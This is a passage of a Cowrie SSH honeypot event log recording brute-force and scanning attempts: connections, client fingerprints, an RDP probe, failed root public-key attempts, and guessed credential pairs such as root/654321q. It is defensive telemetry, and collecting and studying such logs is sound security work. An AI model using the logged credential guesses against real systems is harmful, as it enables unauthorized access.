ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:59.796549Z","src_ip":"193.32.162.151","session":"89d4f8a6564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:00.220707Z","src_ip":"193.32.162.151","session":"89d4f8a6564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:01.330328Z","src_ip":"193.32.162.151","session":"89d4f8a6564d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63846,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e69438d7c77","protocol":"ssh","message":"New connection: 167.172.81.52:63846 (159.203.135.109:22) [session: 7e69438d7c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:05.484831Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:05.489842Z","src_ip":"167.172.81.52","session":"7e69438d7c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:05.493737Z","src_ip":"167.172.81.52","session":"7e69438d7c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":52138,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d58b2ee25f","protocol":"ssh","message":"New connection: 103.82.132.16:52138 (10.17.0.5:22) [session: 92d58b2ee25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:15.986261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:15.991869Z","src_ip":"103.82.132.16","session":"92d58b2ee25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:16.252682Z","src_ip":"103.82.132.16","session":"92d58b2ee25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321q","message":"login attempt [root/654321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:17.099595Z","src_ip":"103.82.132.16","session":"92d58b2ee25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:18.362109Z","src_ip":"103.82.132.16","session":"92d58b2ee25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7850c5d6e024","protocol":"ssh","message":"New connection: 193.228.128.84:58640 (10.17.0.5:22) [session: 7850c5d6e024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:24.775505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:24.780658Z","src_ip":"193.228.128.84","session":"7850c5d6e024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:24.888879Z","src_ip":"193.228.128.84","session":"7850c5d6e024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:25.197352Z","src_ip":"193.228.128.84","session":"7850c5d6e024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:26.302863Z","src_ip":"193.228.128.84","session":"7850c5d6e024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49198,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a5726df0c8","protocol":"ssh","message":"New connection: 103.27.238.116:49198 (10.17.0.5:22) [session: f4a5726df0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:36.792437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:36.797204Z","src_ip":"103.27.238.116","session":"f4a5726df0c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:37.056260Z","src_ip":"103.27.238.116","session":"f4a5726df0c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:37.833476Z","src_ip":"103.27.238.116","session":"f4a5726df0c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:39.095180Z","src_ip":"103.27.238.116","session":"f4a5726df0c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.16.74","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"59cea43a2229","protocol":"ssh","message":"New connection: 173.236.16.74:46584 (10.17.0.5:22) [session: 59cea43a2229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:56.848463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:56.854589Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:56.943598Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:91:3d:81:ae:ad:b0:1d:91:03:bc:a8:fa:16:26:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVFpS6XLMo2IBEVhjfXjeRvmLZ8LDQ3gFza3TWmj7p8E0CXrSlEFrU6d/O4Igm0i/3HB9VpXc5QWiBJRVVhyiK+rjEMng71pY9hCGquJFdmdc8cFac9KZaooWaxAJL+KOn9DiKlWnXGwgHOute9XOpfmHVUmmibRkCFNny4ZHCohNasxmRr/Ws/dv48ER38OkQlXA5g5UJBWhd6DuhPidu/pgHhlf9ibZt5wsdVQ11zY2Q+4APFxmyPwAKfz2pDy3B//TGgxfmxsyXXQ6S56mfZukcZYfIZEKt6WkAsJbQ2xCX/mlPpbtwXsbIgPOoBi/bTyQCdmz3ypiYqwyWu1Gz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:91:3d:81:ae:ad:b0:1d:91:03:bc:a8:fa:16:26:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.373296Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:91:3d:81:ae:ad:b0:1d:91:03:bc:a8:fa:16:26:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVFpS6XLMo2IBEVhjfXjeRvmLZ8LDQ3gFza3TWmj7p8E0CXrSlEFrU6d/O4Igm0i/3HB9VpXc5QWiBJRVVhyiK+rjEMng71pY9hCGquJFdmdc8cFac9KZaooWaxAJL+KOn9DiKlWnXGwgHOute9XOpfmHVUmmibRkCFNny4ZHCohNasxmRr/Ws/dv48ER38OkQlXA5g5UJBWhd6DuhPidu/pgHhlf9ibZt5wsdVQ11zY2Q+4APFxmyPwAKfz2pDy3B//TGgxfmxsyXXQ6S56mfZukcZYfIZEKt6WkAsJbQ2xCX/mlPpbtwXsbIgPOoBi/bTyQCdmz3ypiYqwyWu1Gz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.378477Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:43:f8:ba:82:cf:6d:46:48:0e:e5:05:be:5d:20:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNev6gZVh85fo6DH5+4B0xdmdnOvgZYYK36Py/his1S8JhVGqURjiLfy4KV9l7+XWRaMk0mowwnuWnPz/ENaTfUSflaSezDFZu5CmaF8+6HwilTiYC+sxlUTSE1rd6ZnvOsfHxhBP3+/svqm4Z1weLl96/KWywT5Pr8h04rF9SPJmr2LY0uPKwRb0+HkTS0caso4/+AjDpJQvW4fGm0QQddItq3yiMf4GZ6PbNiwj2AXQaFKEL1thologDU6cwKb1eu90wAFa73YUsx7j2cT/JZABg+ISSv3kCform8plSTPItgzL5dvk0/VeFPUDEAq5i2LwuOFwrmyNrrbAmIWW7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:43:f8:ba:82:cf:6d:46:48:0e:e5:05:be:5d:20:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.468269Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:43:f8:ba:82:cf:6d:46:48:0e:e5:05:be:5d:20:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNev6gZVh85fo6DH5+4B0xdmdnOvgZYYK36Py/his1S8JhVGqURjiLfy4KV9l7+XWRaMk0mowwnuWnPz/ENaTfUSflaSezDFZu5CmaF8+6HwilTiYC+sxlUTSE1rd6ZnvOsfHxhBP3+/svqm4Z1weLl96/KWywT5Pr8h04rF9SPJmr2LY0uPKwRb0+HkTS0caso4/+AjDpJQvW4fGm0QQddItq3yiMf4GZ6PbNiwj2AXQaFKEL1thologDU6cwKb1eu90wAFa73YUsx7j2cT/JZABg+ISSv3kCform8plSTPItgzL5dvk0/VeFPUDEAq5i2LwuOFwrmyNrrbAmIWW7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.472872Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:2b:53:fc:3c:83:b0:3e:0d:60:ee:58:29:88:84:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpj36cGDqUJj/XUzSar5BTJqU+hgBmcTqmuZ4bNhiaCCuWIEG1KZU4xIkARhlYJ1I0hgJt1sEh9uHS2k1N2Y6XZpjf04+boK5FZr4b+hPcmxWozUJ5X8is79jYFddNHSRFYN1wnXY4+5AuPmsU61iqD+zBh6I8NiEHMLhADEbnxVuUTBne/+i561XUBCzh9kT/yMf2AhptOKvbHFtciQ3XY7WukPdBzNxVHoA/o3KPwJMw5UA0xjJgs8EaX72Xayu85nALKWx+I5naayzam/RNUNy+lBymhLIRxRvl3hi/YjzCb9EXEQTj49+a2EIkdIXxO+Hphmh1wS39COVHuEfR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:2b:53:fc:3c:83:b0:3e:0d:60:ee:58:29:88:84:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.564258Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:2b:53:fc:3c:83:b0:3e:0d:60:ee:58:29:88:84:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpj36cGDqUJj/XUzSar5BTJqU+hgBmcTqmuZ4bNhiaCCuWIEG1KZU4xIkARhlYJ1I0hgJt1sEh9uHS2k1N2Y6XZpjf04+boK5FZr4b+hPcmxWozUJ5X8is79jYFddNHSRFYN1wnXY4+5AuPmsU61iqD+zBh6I8NiEHMLhADEbnxVuUTBne/+i561XUBCzh9kT/yMf2AhptOKvbHFtciQ3XY7WukPdBzNxVHoA/o3KPwJMw5UA0xjJgs8EaX72Xayu85nALKWx+I5naayzam/RNUNy+lBymhLIRxRvl3hi/YjzCb9EXEQTj49+a2EIkdIXxO+Hphmh1wS39COVHuEfR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.567663Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:1b:16:9d:a7:33:04:28:35:07:d7:1d:0d:36:11:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPjJKc3daV5pAOV7TAKhQ+i0HPp/JCZnBhSHVW6lLJM4+kecLW1kf7S1CNXIguKP/vIZ58x9gVguI552GtL/tcuAoAuD3O3t5IktFhC4em8ElCxk4+IcbTZLM5vE5K1utmfJmWAzkM3W6ZY443vrofyZoTDGutMMck72vBnppHHeNUuxyqBjFRxz3I6p61VY9Ij3Zt+YfkBbVxcliZSm7HInkmW5jSm/78Irk+4vzk3CqMyN5bB2awy1tzIBlVIp2XCBhVyFXPb9edZ5+eNJcjXE3rvY+B4m57XEv2ERkZJZuPQp5FKLQSGS7w47Viy+jcoT26+n5JnVkvn3XWQ6S7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:1b:16:9d:a7:33:04:28:35:07:d7:1d:0d:36:11:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.660064Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:1b:16:9d:a7:33:04:28:35:07:d7:1d:0d:36:11:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPjJKc3daV5pAOV7TAKhQ+i0HPp/JCZnBhSHVW6lLJM4+kecLW1kf7S1CNXIguKP/vIZ58x9gVguI552GtL/tcuAoAuD3O3t5IktFhC4em8ElCxk4+IcbTZLM5vE5K1utmfJmWAzkM3W6ZY443vrofyZoTDGutMMck72vBnppHHeNUuxyqBjFRxz3I6p61VY9Ij3Zt+YfkBbVxcliZSm7HInkmW5jSm/78Irk+4vzk3CqMyN5bB2awy1tzIBlVIp2XCBhVyFXPb9edZ5+eNJcjXE3rvY+B4m57XEv2ERkZJZuPQp5FKLQSGS7w47Viy+jcoT26+n5JnVkvn3XWQ6S7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.663973Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:91:10:be:81:3e:7a:51:54:4c:8b:6b:2c:33:d0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1PdBUm0R9yKKZjppnYL0bwLS92vQD0iPYPRS/eC8b8xTSeIhfVepg/ZQSY0K7r+ZDS3njBd6cTpNDKVtm9Xs7AamKJwu9h9SvOaZOEykXY9KyAEWbmS0osq3JNqAIxJKGg+tH0hu4Ak06THua8/jWFu28IgIuOOi0fcUM8LZyCPMj5wWIVCXTsd3CYrEGUGUpT0fsF+vZ/2KXAn84uFEoTTKAuPHyk4TkDaF6lqI3eQ/llqdHulJZCx0FPrLoI/9BubWCCJdFgVpw9hUi+EzocB3EFQWE24voeChFsqklIxxzENOooCcMl9GWdvVOVWcODiI1pq7LWMT1kzXQAxtT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:91:10:be:81:3e:7a:51:54:4c:8b:6b:2c:33:d0:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.753813Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:91:10:be:81:3e:7a:51:54:4c:8b:6b:2c:33:d0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1PdBUm0R9yKKZjppnYL0bwLS92vQD0iPYPRS/eC8b8xTSeIhfVepg/ZQSY0K7r+ZDS3njBd6cTpNDKVtm9Xs7AamKJwu9h9SvOaZOEykXY9KyAEWbmS0osq3JNqAIxJKGg+tH0hu4Ak06THua8/jWFu28IgIuOOi0fcUM8LZyCPMj5wWIVCXTsd3CYrEGUGUpT0fsF+vZ/2KXAn84uFEoTTKAuPHyk4TkDaF6lqI3eQ/llqdHulJZCx0FPrLoI/9BubWCCJdFgVpw9hUi+EzocB3EFQWE24voeChFsqklIxxzENOooCcMl9GWdvVOVWcODiI1pq7LWMT1kzXQAxtT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.758318Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:27:57.849771Z","src_ip":"173.236.16.74","session":"59cea43a2229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53908,"dst_ip":"10.17.0.5","dst_port":22,"session":"878f491f8979","protocol":"ssh","message":"New connection: 103.153.68.219:53908 (10.17.0.5:22) [session: 878f491f8979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:36.612942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:36.617858Z","src_ip":"103.153.68.219","session":"878f491f8979","protocol":"ssh"}
